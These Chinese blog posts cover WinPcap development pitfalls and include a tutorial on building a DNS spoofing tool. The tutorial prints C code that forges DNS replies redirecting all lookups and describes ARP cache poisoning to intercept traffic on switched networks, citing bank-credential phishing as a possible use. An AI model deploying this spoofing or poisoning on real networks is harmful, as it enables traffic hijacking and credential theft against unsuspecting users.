这里主要讨论一下winpcap开发中可能遇到的问题,如果能帮助您解决一些困难,将是我的荣幸。

随便转载,转载请注明出处http://blog.csdn.net/leotangcw/

欢迎大家和我交流Email:tangchengwen@163.com

winpcap开发包在使用中还是会有一些容易被忽略的问题的,由于这些问题可能让您在开发中产生一些莫名奇妙的结果。

首先,我们从winpcap的环境配置中可能出现的错误开始。

winpcap开发环境需要是windows操作系统,而且必须安装winpcap驱动才可以调试您的程序。

如果您的程序调试出现类式如下问题:can't find wpcap.dll.............等找不到动态链接库的毛病,请先下载安装winpcap    http://www.winpcap.org/install/bin/WinPcap_3_1.exe

如果编译的时候出现Cannot open include file: 'pcap.h': No such file or directory等类式找不到文件的错误,请察看是否加入了winpcap开发包的include文件夹。VC6下的加入方法是Tools->options->Directories里面加入下载的winpcap开发包解压以后的include文件夹.

如果链接的时候出现fatal error LNK1104: cannot open file "wpcap.lib"等问题,请察看是否加入了winpcap开发包的lib文件夹.VC6下的加入方法是Tools->options->Directories的lib里面加入下载的winpcap开发包解压以后的lib文件夹.

如果链接的时候出现error LNK2001: unresolved external symbol _pcap_findalldevs等问题,请察看link中是否加入了wpcap.lib.VC6下的加入方法是Project->Settings->Link的Objects/library modules里面加入wpcap.lib。

接下来是使用winpcap开发包中的一些函数的问题。

1。用pcap_lookupnet时发现网卡的IP和掩码都是0.0.0.0并且无法捕捉。出现这个问题很多是因为使用了pcap_lookupdev这个函数。最好不要使用pcap_lookupdev这个函数,这个函数也是winpcap开发手册中不推荐使用的,因为在实际使用中我们会发现很多机器在查找网卡时都能找到一个虚拟的网卡,而且这个很多时候都在第一个位置,这样向下一步提交设备句柄的时候就已经传错了。推荐您使用pcap_findalldevs返回一个网卡列表,然后找到您需要的正常网卡。这样也适合向多网卡移植。

2。在使用了pcap_findalldevs,并且调试时发现已经是正常网卡,可是还是无法捕获。出现这个问题请您在调试时看看是否网卡的前面还有如:rpcap://这样的字段,这可能是因为您没有注意pcap_findalldevs,pcap_findalldevs_ex,pcap_open,pcap_open_live这几个函数的区别的原因,请您参考winpcap开发手册,里面有这样的字段The following formats are not allowed as 'source' strings:
rpcap:// [to open the first local adapter]
rpcap://hostname/ [to open the first remote adapter]

在上面的2种找网卡,和打开方式中,有的打开是没有rpcap://这种字段的,有的却有,有没有这个字段,后面的操作是不一样的,有的需要使用pcap_createsrcstr()来创建正确的字段,所以您一定要注意了。

3。以上都没有问题,可是还是抓不到包,好像winpcap没有工作。请您察pcap_open或pcap_open_live函数中的延迟参数设置,一般设到1000(ms),因为如果您是在主线程下捕获,延迟设置过小(一般200ms以下就不稳定了)会使winpcap无法工作,多线程下没有这个问题,设到1都可以正常工作。

4。在MFC下开发的问题,不要使用在Dos下开发时常用的pcap_loop而要选用pcap_next_ex等替代函数,这样才不会有回掉函数的那个问题。可以参看winpcap开发手册其中有如下说明:

The callback-based capture mechanism of pcap_loop() is elegant and it could be a good choice in some situations. However, handling a callback is sometimes not practical -- it often makes the program more complex especially in situations with multithreaded applications or C++ classes.

恩,就写到这里吧,其他的问题现在我还没有遇到,如果有谁遇见了新的问题请发到这里,我们一起讨论。

随便转载,转载请注明出处http://blog.csdn.net/leotangcw/

欢迎大家和我交流Email:tangchengwen@163.com

学校网络中心的老师叫帮忙做一个DNS欺骗的软件。主要用于在学校网络出现问题时把大家的上网请求都转向到一个通知网页上。关于DNS欺骗网上已经有很多文章了,不过实例还是比较少的,特别是使用我们经常使用的winpcap开发DNS欺骗软件。弄了1周,终于成功了,在这里和大家交流一下,不过这种软件的危险性相当高(因为通过这种软件,局域网的用户基本上没有安全性可言了。比如:我先打开欺骗软件把www.icbc.com.cn的访问全部转移到我的一个服务器172.17.123.123上来,在这个服务器上面放有一个看起来和工商银行界面一摸一样的网站,这非常容易做到,当您输入帐号密码的时候,我就记录下了您的帐号和密码,然后......)基于以上原因,我在此声明:我对我的代码不承担任何责任,所有代码只限于学习和正规使用目的。

首先让我们来看看什么是DNS:以下是引用中国协议分析网里面对DNS的说明

DNS的全称是Domain Name System当您连上一个网址在URL打上www.hotmail.com的时候可以说就是使用了DNS的服务了。但如果您知道这个www.hotmail.com的IP地址直接输入209.185.243.135也同样可以到达这个网址。其实电脑使用的只是 IP地址而已(最终也是0和1啦)这个www.hotmail.com只是让人们容易记忆而设的。因为我们人类对一些比较有意义的文字记忆(如 www.hotmail.com)比记忆那些毫无头绪的号码(如209.185.243.135)往往容易得多。DNS的作用就是为我们在文字和IP之间担当了翻译而免除了强记号码的痛苦。

接着是我使用的DNS欺骗原理

我们在设置我们的 网络时经常要设置DNS地址,比如现在我们学校使用的就是:202.102.154.3和202.102.128.68这两个IP地址就是DNS解析服务器的地址,当我们输入一个网址如:www.whhit.com的时候,就有一个DNS请求发到设置的DNS服务器上去,然后DNS服务器告诉你你访问的的网站对应的IP是202.102.144.56于是你的浏览器就会到相应的IP上面去取回网页。那么如果我想欺骗你,让你转到一个别的地址上去怎么做呢?我只需要在DNS服务器给你答复之前给你一个假的回答就可以了,比如我告诉你www.whhit.com对应的IP是172.17.30.52.123这样你的机器就会自动转到172.30.52.123上面去。那么不是DNS服务器也要做回答吗?呵呵,这个其实你不用担心,在收到第一个回答以后就浏览器就开始转向了,对于后到的DNS回答会被系统自动丢弃掉。

基于以上原理,我们就可以完成这个工程了。

现在唯一的问题就是如何来伪造一个DNS应答了,由于要用winpcap发包,而winpcap的发包功能是很简陋的,他不能像libnet等开发包一样帮助你构造包,所以所有的包结构都要你来构造。请听下回分解。

先简要说说代码,这里只有构造DNS回应部分的代码,我还做了网址匹配,也就是说只有别人输入相应的网址才给转向不过出于一些原因就不放上来了。这里的代码只是对所有DNS都转向的代码,你可以自己加完整别的代码。

随便转载,转载请注明出处http://blog.csdn.net/leotangcw/

欢迎大家和我交流Email:tangchengwen@163.com

抓包和分析都要在子线程中进行,这样程序的效率才比较好。

伪造的包的DNS  ID一定要和请求的包的ID一样才可以工作。

........抓包

int packetlen=exprotocol_header->len+16;//从抓到包的长度得到要伪造包的长度
               int questlen=exprotocol_header->len-54;  //问题长度
                     u_int8_t* packet_content;                //要发的包
                        packet_content=(u_int8_t*)malloc((packetlen)*sizeof(u_int8_t));
                        unsigned short IP_len=ntohs(packetlen-14);    //
               unsigned short UDP_len=ntohs(packetlen-34);
                        memcpy(packet_content,expkt_data,exprotocol_header->len);   //拷贝抓的包到发的包里面因为有很多不需要改的地方,其中包括最重要的DNS  ID号
               memcpy(packet_content,expkt_data+6,6);                      //交换MAC地址
               memcpy(packet_content+6,expkt_data,6);
               memcpy(packet_content+16,&IP_len,2);                      //计算的IP数据包长度
               packet_content[18]=0x12;//IP的ID号 随便添
               packet_content[19]=0x34;//IP的ID号 随便添
                        packet_content[20]=0x40;  //不分段
                        packet_content[21]=0x00;   //偏移
                        packet_content[22]=0xf4;   //TTl=244
               packet_content[24]=0x00;//IP效验和先置0以后再算
                        packet_content[25]=0x00;//IIP效验和先置0以后再算
               memcpy(packet_content+26,expkt_data+30,4);//交换IP
               memcpy(packet_content+30,expkt_data+26,4);//交换IP
                        memcpy(packet_content+34,expkt_data+36,2);//交换端口
               memcpy(packet_content+36,expkt_data+34,2);//交换端口
               memcpy(packet_content+38,&UDP_len,2);    //填入计算的UDP数据包长度
                        packet_content[40]=0x00;//UDP效验和添0
                        packet_content[41]=0x00;//UDP效验和添0
                        packet_content[44]=0x81; //无错误标准回复
               packet_content[45]=0x80;  //无错误标准回复
                        packet_content[48]=0x00;  //回答数目1
               packet_content[49]=0x01;  //回答数目1
               packet_content[exprotocol_header->len]=0xc0;   //回答名字
               packet_content[exprotocol_header->len+1]=0x0c;  //回答名字
               packet_content[exprotocol_header->len+2]=0x00;  //类型 A
               packet_content[exprotocol_header->len+3]=0x01;  //类型 A
               packet_content[exprotocol_header->len+4]=0x00;  //类1
               packet_content[exprotocol_header->len+5]=0x01;  //类1
               packet_content[exprotocol_header->len+6]=0x00;  //你想让其在被欺骗主机上的DNS信息存活时间
               packet_content[exprotocol_header->len+7]=0x00;  //你想让其在被欺骗主机上的DNS信息存活时间
               packet_content[exprotocol_header->len+8]=0x0c;  //你想让其在被欺骗主机上的DNS信息存活时间
               packet_content[exprotocol_header->len+9]=0xe8;  //你想让其在被欺骗主机上的DNS信息存活时间
               packet_content[exprotocol_header->len+10]=0x00;  //数据长度
               packet_content[exprotocol_header->len+11]=0x04;  //数据长度
               m_exdwAddress1=ntohl(m_exdwAddress);              //对输入的转向IP做网络字节转换
               memcpy(packet_content+exprotocol_header->len+12,&m_exdwAddress1,4); //转向的IP
               USHORT m_ipcheck;
                        u_int16_t* checkbufer;
               checkbufer=(u_int16_t*)malloc(20);
               memcpy(checkbufer,packet_content+14,20);    //把IP头拷入一个区域做计算

m_ipcheck=checksum(checkbufer,20);              //计算IP校验和
               memcpy(packet_content+24,&m_ipcheck,2);        //添入IP校验和
               pcap_sendpacket(expcap_handle,packet_content,exprotocol_header->len+16);//发包

接下来是深入的讨论如果是在3层交换机上如何做DNS欺骗

三层交换机上只有广播包会发到所有端口,其他包都只会在对应端口之间传送。要让他的DNS查询发到你的机器上来就需要伪装成网关,因为我们是通过网关上网,所以所有外发的包都要过网关。

在这里我们要感谢ARP协议,这是一个数据链路层上的协议,主要作用是用来查询你的局域网上的其他主机的MAC地址,比如我们在ping 的时候就会发出一个ARP查询,比如:我是172.30.52.170,我现在ping 172.30.52.174 -t就会发出一个ARP查询向全网段广播问谁是172.30.52.174啊,请告诉我你的MAC地址,然后我就会得到一个172.30.52.174的回复说xx:xx:xx:xx:xx:xx的MAC对应的是172.30.52.174于是我就可以通过这个MAC和他进行传输了。同时我会把他的MAC和IP的对应关系写入我的机器的缓存(会存在一定时间),ARP请求也会更新缓存,比如上面我ping172.30.52.174他的缓存中也会留下我的IP和MAC对应关系。

而且ARP是后更新的,他和DNS相反,DNS对先到的回答做相应,ARP对后到的消息做缓存更新,于是我们就想出了一个好办法,比如我的MAC是01:02:03:04:05:06首先,我告诉我想欺骗的主机,我是网关,比如我给172.30.52.174的主机发一个ARP查询或应答包说172.30.52.1(网关)对应的MAC是01:02:03:04:05:06,同时告诉网关172.30.52.174的IP对应的MAC是01:02:03:04:05:06于是172.30.52.174把发给网关的包都给了我,同时网关也把给172.30.52.174的包都给了我,我在他们之间做一个包转发,就行了,这样所有的包都通过我了,后面的DNS欺骗就和前面一样了。

由于ARP包构造太简单了,就不详细写了,好了,先写到这里吧,写了一天累了。

这里主要讨论一下winpcap开发中可能遇到的问题,如果能帮助您解决一些困难,将是我的荣幸。

随便转载,转载请注明出处http://blog.csdn.net/leotangcw/

欢迎大家和我交流Email:tangchengwen@163.com

winpcap开发包使用中的问题总结(之一):

http://blog.csdn.net/leotangcw/archive/2006/05/23/751132.aspx

最近使用winpcap发包又发现了点毛病,这里贴出来。

1。关于winpcap的延迟参数设置多少。

在winpcap的open_live中有一个延迟参数,主要是设置多长时间返回,当使用主线程抓包时应该设置长一点,500ms~1000ms左右,设置的过小winpcap 会抓不到包。如果是在子线程下可以设置的小一些。

2。如果有发包的情况怎么设置。

如果你的捕获和发包在一个线程里,就是捕获后立即发包的话,你会发现即使设置成1ms还是有不小的延迟,我感觉主要还是winpcap发包机制不是太好,你可以设置成-1,也就是捕获后立刻返回,这样会快一些(平均反映速度提高10倍左右),虽然还是会有些的延迟,但是一般的项目要求基本可以满足了。

3。出现不停发送同一个包的情况怎么办。

如果你在作TCP或DNS,ARP欺骗或其他需要捕获后立刻发送包的程序时可能会发现每捕获一个包就会作很多回复,而且是一样的,为什么呢?一般是因为你的pcap_next_ex或类似的抓包函数没有注意返回值,一定要注意写成if(pcap_next_ex(....)==1)的形式,不要直接用pcap_next_ex因为其可能==0这个时候会把前一个包重复抓一遍。可以参考winpcap开发手册。

好了,先写到这里吧,下次继续!

dns欺骗及wincap开发问题总结相关推荐

  1. charles DNS欺骗

    本文参考:charles DNS欺骗 DNS欺骗/DNS Spoofing 功能:通过将您自己的主机名指定给远程地址映射来欺骗DNS查找 一般的开发流程中,在上线之前都需要在测试环境中先行进行验证,而 ...

  2. dns欺骗编辑html,charles DNS欺骗

    DNS欺骗/DNS Spoofing 功能:通过将您自己的主机名指定给远程地址映射来欺骗DNS查找 一般的开发流程中,在上线之前都需要在测试环境中先行进行验证,而此时手机客户端请求的域名是不太容易改变 ...

  3. 中间人攻击之DNS欺骗

    2.4  DNS欺骗实现 2.4.1  硬件与软件要求 (1)硬件设备:攻击者PC.USB无线网卡.局域网(无线路由器).被攻击者设备(可以是手机或PC) (2)软件要求:KaliLinux 2.4. ...

  4. 针对SSL/TLS的拒绝服务攻击以及使用ettercap进行DNS欺骗

    一. thc-ssl-dos 1.简介 (1).SSL 协商加密对性能开销增加,大量握手请求会导致 DOS (2).利用 SSL secure Renegotiation 特性,在单一 TCP 连接中 ...

  5. [网络安全自学篇] 四十二.DNS欺骗和钓鱼网站原理详解及防御机理

    这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文分享了中间人攻击或ARP欺骗攻击,从ARP原理到局域网配置进行描述.这篇文章 ...

  6. python实现dns欺骗_DNS欺骗攻击

    在本节中,我们将了解DNS服务器.DNS基本上是将域名转换为设备IP地址的服务器.我们可以将域名(如www.google.com)转换为存储Google网站的设备的IP地址.由于使用MITM,可以在我 ...

  7. 投毒、伪装、攻击,DNS 欺骗和钓鱼网站如何一步步诱人掉入陷阱?

    [编者按]这篇文章将详细讲解DNS欺骗(DNS投毒)及钓鱼网站原理知识,并通过Ettercap工具复现某购物网站的钓鱼漏洞,本文的重点是让您对ARP欺骗.DNS欺骗和钓鱼攻击有一定认识.真心希望这篇基 ...

  8. 黑客攻击入门:DNS欺骗、ARP攻击和钓鱼网站制作

    数据来源         本文仅用于信息安全的学习,请遵守相关法律法规,严禁用于非法途径.若观众因此作出任何危害网络安全的行为,后果自负,与本人无关.   一.背景 钓鱼者运用社会工程学( socia ...

  9. DNS欺骗原理及工作工程分析

    DNS欺骗 DNS欺骗是这样一种中间人攻击形式,它是攻击者冒充域名服务器的一种欺骗行为,它主要用于向主机提供错误DNS信息,当用户尝试浏览网页,例如IP地址为XXX.XX.XX.XX ,网址为www. ...

  10. DNS欺骗与钓鱼网站

    实验背景 钓鱼者运用社会工程学只是诱骗受害者,以未授权情况下获取对方的姓名.年龄.邮箱账号.甚至是银行卡密码等私人信息. 钓鱼往往呵社会工程学结合进行诱导,而社会工程学时黑客的内功,能否灵活运用可以体 ...

最新文章

  1. Android 第三方图表类 MPChart 的使用
  2. Swift2.0语言教程之类的嵌套与可选链接
  3. insertAdajcentHTML
  4. 命令行下从bak文件恢复sqlserver数据库方法
  5. 卷积为什么如此强大?一文全解深度学习中的卷积
  6. netbeans 源文件_具有NetBeans,嵌入式GlassFish,JPA和MySQL数据源的Arquillian
  7. Javascript對表格的操作[知識積累帖]
  8. 合成孔径雷达算法与实现_[SAR笔记0]合成孔径雷达成像算法与实现
  9. sql2005安装过程,(不装C盘)
  10. angularjs1-路由
  11. 让Fiddler调试localhost和127.0.0.1
  12. VSCode如何搭建Vue项目?详细步骤
  13. 网易校招笔试第三题匈牙利算法
  14. python-pygame怀旧游戏之超级玛丽
  15. 微信视频号自助下单刷平台
  16. 区块链技术发展现状和趋势
  17. 离散化/线段树 (POJ - 2528 Mayor's posters)
  18. flex datagrid组件中添加别的组件
  19. 浏览器在线查看pdf文件 pdf.js的使用教程
  20. 最优控制问题matlab编程实例,matlab实现解决最优控制中的内点约束问题

热门文章

  1. 找不到设备 将计算机连接到USB打印机,打印机连接电脑没反应怎么办
  2. Linux设备驱动之udal341声卡驱动与madplay播放器移植
  3. python解析word文档首、尾页
  4. dingo php,laravel 使用dingo 和 jwt 【laravel7.3 dingo3.0 php7.3】配置
  5. #3,Android Studio Android开发APP的开发语言和APP连接的数据库 总结
  6. Excel 预习阶段Day1
  7. 什么是数据结构?是举一个例子,叙述逻辑结构、存储结构和运算三个方面的内容。
  8. 华为月薪11万招前端工程师,看到要求我傻眼了!
  9. Java 在Word中创建多级项目符号列表和编号列表
  10. activiti获取偏移量minx与miny